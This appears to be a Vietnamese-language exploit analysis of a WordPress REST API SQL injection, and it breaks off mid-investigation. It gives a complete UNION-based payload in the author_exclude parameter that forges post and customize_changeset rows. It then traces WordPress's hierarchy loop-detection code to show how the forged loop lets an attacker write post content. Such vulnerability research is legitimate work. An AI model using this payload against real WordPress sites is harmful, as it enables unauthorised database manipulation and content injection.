Xây dựng payload như sau:
/wp/v2/posts/999999?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,2020-01-01 00:00:00,2020-01-01 00:00:00,[embed width="500" height="750"]<http://127.0.0.1/2023/07/03/hello-world/#106b520cccb71[/embed],trigger,'',publish,closed,closed,'',trigger,'','>',2020-01-01 00:00:00,2020-01-01 00:00:00,'',0,'',0,post,'',0 UNION ALL SELECT 25,1,2020-01-01 00:00:00,2020-01-01 00:00:00,'',O,'',publish,closed,closed,'',O,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',24,'',0,post,'',0 UNION ALL SELECT 24,1,2020-01-01 00:00:00,2020-01-01 00:00:00,{"nav_menu_item[1867521028]":{"type":"nav_menu_item","user_id":1,"value":{"object_id":0,"object":"","menu_item_parent":0,"position":0,"type":"custom","title":"generated","url":"<https://example.invalid/","target":"","attr_title":"","description":"","classes":"","xfn":"","status":"publish","nav_menu_term_id":0,"_invalid>":false}}},changeset,'',future,closed,closed,'',d4148ff9-affc-452d-bf74-7ed17bdc32bc,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',1867521027,'',0,customize_changeset,'',0 UNION ALL SELECT 1867521027,1,2020-01-01 00:00:00,2020-01-01 00:00:00,outer,outer,'',draft,closed,closed,'',outer,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',24,'',0,post,'',0 -- -&per_page=500&orderby=none

Debug xem :

Nhảy vào hàm shortcode vì nó có embed , khi mà embed được cập nhật có parent rồi, thì nó sẽ nhảy vào hàm dưới

Xác định có loop ko bằng 2 lần thuật toán sau:

Cụ thể nó làm gì :
function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
$tortoise = $start;
$hare = $start;
$evanescent_hare = $start;
$return = array();
// Set evanescent_hare to one past hare. Increment hare two steps.
while (
$tortoise
&&
( $evanescent_hare = $override[ $hare ] ?? call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
&&
( $hare = $override[ $evanescent_hare ] ?? call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
) {
if ( $_return_loop ) {
$return[ $tortoise ] = true;
$return[ $evanescent_hare ] = true;
$return[ $hare ] = true;
}
// Tortoise got lapped - must be a loop.
if ( $tortoise === $evanescent_hare || $tortoise === $hare ) {
return $_return_loop ? $return : $tortoise;
}
// Increment tortoise by one step.
$tortoise = $override[ $tortoise ] ?? call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
}
return false;
}
MẢng overide theo hàm thì nó sẽ lấy (start : startParent) ở đây là :

Khi mà chạy thuật toán trên : (Đọc code là sẽ hiểu) đại loại như nó tìm parent của id hiện tại , cố gắng đi đến gốc cuối cùng của parent và check xem parent hiện tại có bị trùng với gốc không thì loop và ghi lại ID gây loop. Ở demo này thì ra 2 ID gây loop

Đúng theo những gì payload cố gắng thực hiện . Sau đó code bên dưới cố gắng update cho những cái ID loop này cho parent ID về 0 nhưng mà lúc này ko set cứng content nữa nên ta mới được khả năng ghi content zô.

Đi sâu vào